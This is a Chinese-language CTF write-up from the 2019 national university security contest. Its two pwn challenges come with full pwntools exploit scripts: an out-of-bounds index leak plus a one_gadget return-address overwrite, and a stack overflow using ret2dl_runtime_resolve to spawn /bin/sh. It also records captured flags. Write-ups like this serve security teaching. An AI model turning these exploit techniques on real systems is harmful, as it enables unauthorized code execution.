2019全国大学生信息安全大赛部分Wp

pwn

your_pwn

先check 一下,发现保护全开,还是有点慌的

进入到IDA审计代码

在其主要代码里存在下标溢出,很明显地可以进行任意地址读和写(因为对于数组v4的下标v1没有进行任何的限制),思路其实就出来了,先利用任意地址读泄漏出真实地址,再通过任意地址写将返回地址修改成onegadget

只是这里的读和写处理有点麻烦而已,因为它是单个字节读取和写入的,所以每次都要进行6次操作。

先确定v4[0]的位置

gdb下断第一次输入v4[0]=100(0x64)单步跟踪找到0x64的位置

确定返回地址和要泄漏的真实地址跟v4[0]的偏移

这里其实我还算出另一个偏移:就是v1跟v4[0]的偏移,是40,为最后的退出getshell做准备,同样找到v1的位置就可以了,这里我就不截图了。

获得onegadget地址

找泄漏出真实地址之后 就可以得到偏移,再查看onegadget:one_gadget+libc库

修改返回地址为onegadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#coding:utf-8
from pwn import *
context.log_level = 'debug'
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
p = process('./pwn')
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
elf = ELF('./pwn')
libc = elf.libc
# print libc
# pause()
p.recvuntil('name:')
p.sendline('n0va')
#泄漏__libc_start_main+240,每次泄漏一个字节
p.recvuntil('input index\n')
p.sendline('632')
p.recvuntil('now value(hex) ')
a = int(p.recv(2),16)
print hex(a)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('633')
p.recvuntil('now value(hex) ')
b = (int(p.recvuntil('\n')[:-1],16))&0xff
print hex(b)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('634')
p.recvuntil('now value(hex) ')
c = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(c)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('635')
p.recvuntil('now value(hex) ')
d = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(d)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('636')
p.recvuntil('now value(hex) ')
e = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(e)
p.recvuntil('input new value\n')
p.sendline('1')

p.recvuntil('input index\n')
p.sendline('637')
p.recvuntil('now value(hex) ')
f = int(p.recvuntil('\n')[:-1],16)&0xff
print hex(f)
p.recvuntil('input new value\n')
p.sendline('1')

print hex(a),hex(b),hex(c),hex(d),hex(e),hex(f)
libc_start_main = hex(f)[2:] + hex(e)[2:] + hex(d)[2:] + hex(c)[2:] + hex(b)[2:] + hex(a)[2:]
libc_main = int(libc_start_main,16)-240 #拼接得到__libc_start_main地址
print hex(int(libc_start_main,16))
print hex(libc_main)
offset = libc_main - libc.symbols['__libc_start_main'] #偏移
one_gadget = offset + 0x45216 #onegadget地址
print "one_gadget--> " + hex(one_gadget)
#修改返回地址,每次一个字节写入
a = one_gadget&0xff
b = one_gadget>>8&0xff
c = one_gadget>>16&0xff
d = one_gadget>>24&0xff
e = one_gadget>>32&0xff
f = one_gadget>>40&0xff
print hex(a),hex(b),hex(c),hex(d),hex(e),hex(f)
p.recvuntil('input index\n')
p.sendline('344')
p.recvuntil('input new value\n')
p.sendline(str(a))

p.recvuntil('input index\n')
p.sendline('345')
p.recvuntil('input new value\n')
p.sendline(str(b))

p.recvuntil('input index\n')
p.sendline('346')
p.recvuntil('input new value\n')
p.sendline(str(c))

p.recvuntil('input index\n')
p.sendline('347')
p.recvuntil('input new value\n')
p.sendline(str(d))

p.recvuntil('input index\n')
p.sendline('348')
p.recvuntil('input new value\n')
p.sendline(str(e))

p.recvuntil('input index\n')
p.sendline('349')
p.recvuntil('input new value\n')
p.sendline(str(f))
#修改i=40退出 循环
p.recvuntil('input index\n')
p.sendline('-4')
p.sendline('40')
p.recvuntil('do you want continue(yes/no)? \n')
p.sendline('no')

# flag{1ed0e270f57c4e3969415180490fa07e}
p.interactive()

baby_pwn

check,只开了NX

程度很简单,一个栈溢出漏洞,没有任何其它可用的函数,程序干净得可怕,其实就很容易想到runtime_resolve了,直接改脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
# p = process('./pwn')
p = remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com","33865")
elf = ELF('./pwn')
read_plt = elf.plt['read']
alarm_got = elf.got['alarm']
# write_plt = elf.plt['write']
bss_addr = elf.bss()
bss_stage1 = 0x800 + bss_addr
bss_stage2 = 80 + bss_stage1
ppp_ret = 0x080485d9
pop_ebp = 0x080485db
leave_ret = 0x08048448
#read(0,bss_addr,100)
payload = 'a'*44
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_stage1)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(bss_stage1)
payload += p32(leave_ret)
# p.recvuntil('Welcome to XDCTF2015~!\n')
# gdb.attach(p,"b *0x08048546")
# pause()
p.sendline(payload)
cmd = '/bin/sh'
plt_0 = 0x8048380
rel_plt = 0x804833c
index_offset = (bss_stage1+28) - rel_plt
# write_got = elf.got['write']
dynsym = 0x080481dc #objdump -s -j .dynsym bof
dynstr = 0x804827c #objdump -s -j .dynstr bof
fake_sym_addr = bss_stage1+36
align = 0x10 -((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym<<8) | 0x7
fack_reloc = p32(alarm_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
st_name = (fake_sym_addr + 0x10) - dynstr #加0x10是因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'aaaa'
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage2)
payload += 'aaaaaaaa'
payload += fack_reloc #(bss_stage1+28)的位置
payload += 'b'*align
payload += fake_sym #(bss_stage1+36)的位置
payload += "system\x00"
payload += 'a'*(80-len(payload))
payload += cmd + '\x00'
# payload += 'a'*(100-len(payload))
p.sendline(payload)
p.interactive()
# flag{4b91ebbdb3a0728572005c035aade579}

re

easyGo

无符号GoLang,贴上网上一篇介绍GoLang逆向的文章,此题就是文章中的demon,flag 都没变,https://www.jishuwen.com/d/2NaJ

再附上一篇无符号Golang程序逆向方法解析https://www.anquanke.com/post/id/170332

0%